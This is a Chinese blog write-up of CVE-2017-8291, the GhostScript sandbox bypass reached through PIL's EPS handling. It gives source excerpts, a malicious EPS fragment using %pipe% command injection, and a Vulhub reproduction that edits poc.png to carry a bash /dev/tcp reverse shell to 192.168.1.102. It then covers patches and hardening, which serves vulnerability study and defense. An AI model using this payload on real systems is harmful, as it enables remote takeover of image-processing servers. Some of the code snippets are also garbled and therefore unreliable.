当前位置: 首页 > news >正文

CVE-2017-8291源码分析与漏洞复现(PIL远程命令执行漏洞)

漏洞名称:PIL/GhostScript 沙盒绕过导致远程命令执行
CVE 编号:CVE-2017-8291
CVSS 评分:9.8
影响范围

  • PIL/Pillow:所有版本(依赖GhostScript处理EPS文件时)
  • GhostScript:≤ 9.21(含安全模式绕过漏洞)
    修复方案
  1. 升级GhostScript ≥ 9.22(修复沙盒绕过)
  2. Pillow ≥ 6.0.0 默认禁用EPS支持(需手动启用)
    漏洞类型:命令注入 → 远程代码执行(RCE)
    根本原因
    PIL/Pillow 处理EPS图片时调用GhostScript的gs命令,虽启用-dSAFER安全模式,但因GhostScript自身沙盒绕过漏洞(CVE-2017-8291),攻击者可构造恶意EPS文件触发任意命令执行。

一、漏洞原理与源码分析

1. 漏洞触发链

攻击者Web应用PIL.Image.open()PIL.EpsImagePluginsubprocess.check_call()GhostScript系统Shell上传恶意EPS文件(伪装为PNG)调用图片处理根据文件头%!PS识别为EPS执行gs命令(含-dSAFER)解析EPS文件执行%pipe%注入的命令返回命令执行结果攻击者Web应用PIL.Image.open()PIL.EpsImagePluginsubprocess.check_call()GhostScript系统Shell

2. 关键源码定位

(1)EPS文件识别入口:PIL/EpsImagePlugin.py

# PIL/EpsImagePlugin.py  
def _accept(prefix):  # 通过文件头识别EPS(%!PS或二进制头)  return prefix[:4] == b"%!PS" or (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)  def ImageFile.open(fp):  if _accept(prefix):  return EpsImageFile(fp)  # 交由EPS处理器  

漏洞点:仅校验文件头,无视文件后缀(如上传evil.png含EPS内容仍被处理)。

(2)GhostScript命令调用:EpsImageFile.load()

# PIL/EpsImagePlugin.py  
def load(self):  # 构建gs命令(含-dSAFER)  command = [  "gs",  "-q", "-dNOPAUSE", "-dBATCH", "-dSAFER",  # 安全模式  "-sDEVICE=ppmraw",  "-sOutputFile=%s" % outfile,  "-f", infile  # 用户控制的输入文件  ]  try:  # 执行命令(无输入过滤)  subprocess.check_call(command, stdin=devnull, stdout=devnull)  except:  raise IOError("gs命令执行失败")  

漏洞机制

  • -dSAFER本应限制文件/命令操作,但GhostScript 9.21存在绕过漏洞。
  • 攻击载荷:EPS文件中注入%pipe%CMD语法(如(%pipe%touch /tmp/pwned)),gs解析时将其作为命令执行。

(3)GhostScript沙盒绕过(CVE-2017-8291)
GhostScript解析.rsdparams操作符时存在类型混淆漏洞

% 恶意EPS片段  
currentdevice null false mark  
/OutputFile (%pipe%touch /tmp/pwned)  % 注入命令  
.putdeviceparams  
1 true .outputpage  

绕过原理

  • .outputpage操作符触发输出设备参数解析。
  • %pipe%前缀被识别为管道命令,GS将touch /tmp/pwned传递给popen()执行。
  • 补丁:GhostScript 9.22 在base/gdevpipe.c中禁用%pipe%语法。

二、漏洞复现与利用方式

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8000,确认服务正常运行

在这里插入图片描述

命令执行

1.上传靶场目录中的poc.png

在这里插入图片描述

2.进入容器验证

在这里插入图片描述

  • 发现创建了aaa文件

反弹shell

1.vim修改poc.png
  • 修改命令
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1

在这里插入图片描述

2.kail 开启监听

在这里插入图片描述

3.上传文件并验证

在这里插入图片描述


三、影响范围与修复方案

1. 受影响组件

组件受影响版本安全版本
GhostScript≤ 9.21≥ 9.22
PIL/Pillow所有依赖GS的版本≥ 6.0.0(默认禁用EPS)

2. 官方修复方案

  • GhostScript:升级至9.22+,禁用%pipe%语法。
  • Pillow
    • 6.0.0+:默认禁用EPS支持,需显式启用:
      from PIL import Image  
      Image.EPSImagePlugin.gs_windows_binary = r"C:\gs\bin\gswin64c.exe"  # 手动配置路径  
      
    • 代码加固:添加EPS处理警告(需用户确认)。

3. 临时缓解措施

  • 禁用GhostScript
    apt remove ghostscript  # Debian/Ubuntu  
    
  • 删除PIL的EPS处理器
    import sys  
    sys.modules.pop('PIL.EpsImagePlugin', None)  # 阻止EPS加载  
    
  • 文件上传过滤
    def allowed_file(filename):  return filename.endswith(('.png', '.jpg'))  # 禁止.eps后缀  
    

四、漏洞启示与防御建议

1. 漏洞根源总结

  • 深度依赖风险:PIL无恶意EPS处理能力,依赖外部工具(GS)引入漏洞。
  • 安全边界失效:GS的-dSAFER被绕过,说明“黑盒依赖”不可信。
  • 文件类型混淆:基于文件头的检测机制可被伪造。

2. 纵深防御策略

层级防护措施示例
应用层禁用EPS支持或使用纯Python解析库Image.EPSImagePlugin._accept = lambda x: False
系统层GS以沙盒运行(Docker + Seccomp)docker run --security-opt seccomp=gs.json
网络层隔离图片处理服务独立容器无外网权限
运维层监控异常进程(如gs执行sh)Auditd规则:-a always,exit -F arch=b64 -F exe=/usr/bin/gs -F success=0

漏洞启示

  1. 零信任文件解析:所有用户上传文件应在隔离环境处理,并剥离危险内容(如PostScript运算符)。
  2. 依赖最小化:避免引入外部命令行工具处理敏感操作(如Pillow 6.0+移除EPS默认支持)。
  3. 沙盒增强:即使依赖外部工具,也需叠加层防护(如Docker + AppArmor)。
  4. 持续监控:GhostScript等深层组件漏洞常被忽视,需纳入漏洞扫描清单。
http://www.lryc.cn/news/610550.html

相关文章:

  • 软件测试中,pytest 框架如何运行上传失败的测试用例?
  • docker国内镜像源列表
  • 软件测试中,pytest 如何运行多个文件或整个目录?
  • Python入门Day15:面向对象进阶(类变量,继承,封装,多态)
  • springboot + maven 使用资源占位符实现动态加载配置文件
  • Modstart 请求出现 Access to XMLHttpRequest at ‘xx‘
  • imx6ull-驱动开发篇9——设备树下的 LED 驱动实验
  • ubuntu的压缩工具zip的安装和使用
  • 【C++】类和对象1
  • 力扣106:从中序与后序遍历序列构造二叉树
  • 「PromptPilot 大模型智能提示词平台」—— PromptPilot × 豆包大模型 1.6:客户投诉邮件高效回复智能提示词解决方案
  • 工业级 CAN 与以太网桥梁:串口服务器CAN通讯转换器深度解析(上)
  • 【科研绘图系列】R语言绘制误差棒图
  • 姜 第四章 线性方程组
  • shmget等共享内存系统调用及示例
  • uniapp 类似popover气泡下拉框组件
  • Maven和Gradle在构建项目上的区别
  • uniapp Android App集成支付宝的扫码组件mPaaS
  • Linux驱动25 --- RkMedia音频API使用增加 USB 音视频设备
  • Linux驱动24 --- RkMedia 视频 API 使用
  • 技术文章推荐|解析 ESA 零售交易方案(技术分析+案例拆解)
  • 基于k8s环境下的pulsar常用命令(下)
  • JavaWeb02——基础标签及样式(黑马视频笔记)
  • 203.移除链表元素 707.设计链表 206.反转链表
  • 8.5 位|归并|递归
  • 腾讯云CodeBuddy AI IDE+CloudBase AI ToolKit打造理财小助手网页
  • C++ - 基于多设计模式下的同步异步日志系统(11w字)
  • 使用ProxySql实现MySQL的读写分离
  • 【模电笔记】—— 直流稳压电源——整流、滤波电路
  • C++返回值优化(RVO):高效返回对象的艺术